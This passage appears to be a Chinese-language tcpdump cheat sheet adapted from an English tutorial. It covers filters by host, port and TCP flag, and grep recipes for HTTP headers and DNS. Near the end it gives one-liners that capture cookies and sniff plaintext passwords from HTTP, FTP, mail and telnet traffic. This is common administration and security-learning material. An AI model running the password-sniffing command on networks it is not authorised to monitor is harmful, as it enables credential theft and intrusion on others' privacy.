tcpdump -i eth0 -nn host 220.181.57.216 or 10.0.0.1
# 獲取10.0.0.1與 10.0.0.9或 10.0.0.1 與10.0.0.3之間的通訊
tcpdump -i eth0 -nn host 10.0.0.1 and \(10.0.0.9 or 10.0.0.3\)

原始輸出

並顯示人類可讀的內容進行輸出包(不包含內容)。

tcpdump -ttnnvvS -i eth0 

IP到埠

讓我們查詢從某個IP到埠任何主機的某個埠所有流量。

tcpdump -nnvvS src 10.5.2.3 and dst port 3389

去除特定流量

可以將指定的流量排除,如這顯示所有到192.168.0.2的 非ICMP的流量。

tcpdump dst 192.168.0.2 and src net and not icmp

來自非指定埠的流量,如,顯示來自不是SSH流量的主機的所有流量。

tcpdump -vv src mars and not dst port 22

選項分組

在構建複雜查詢時,必須使用單引號 '。單引號用於忽略特殊符號 () ,以便於使用其他表示式(如host、port、net等)進行分組。

tcpdump 'src 10.0.2.4 and (dst port 3389 or 22)'

過濾TCP標記位

TCP RST

The filters below find these various packets because tcp[13] looks at offset 13 in the TCP header, the number represents the location within the byte, and the !=0 means that the flag in question is set to 1, i.e. it’s on.

tcpdump 'tcp[13] & 4!=0'
tcpdump 'tcp[tcpflags] == tcp-rst'

TCP SYN

tcpdump 'tcp[13] & 2!=0'
tcpdump 'tcp[tcpflags] == tcp-syn'

同時忽略SYN和ACK標誌的資料包

tcpdump 'tcp[13]=18'

TCP URG

tcpdump 'tcp[13] & 32!=0'
tcpdump 'tcp[tcpflags] == tcp-urg'

TCP ACK

tcpdump 'tcp[13] & 16!=0'
tcpdump 'tcp[tcpflags] == tcp-ack'

TCP PSH

tcpdump 'tcp[13] & 8!=0'
tcpdump 'tcp[tcpflags] == tcp-push'

TCP FIN

tcpdump 'tcp[13] & 1!=0'
tcpdump 'tcp[tcpflags] == tcp-fin'

查詢http包

查詢 user-agent 資訊

tcpdump -vvAls0 | grep 'User-Agent:'

查詢只是 GET 請求的流量

tcpdump -vvAls0 | grep 'GET'

查詢http客戶端IP

tcpdump -vvAls0 | grep 'Host:'

查詢客戶端cookie

tcpdump -vvAls0 | grep 'Set-Cookie|Host:|Cookie:'

查詢DNS流量

tcpdump -vvAs0 port 53

查詢對應流量的明文密碼

tcpdump port http or port ftp or port smtp or port imap or port pop3 or port telnet -lA | egrep -i -B5 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd= |password=|pass:|user:|username:|password:|login:|pass |user '

Reference:https://danielmiessler.com/study/tcpdump/#basic-communication

ethtool

相關文章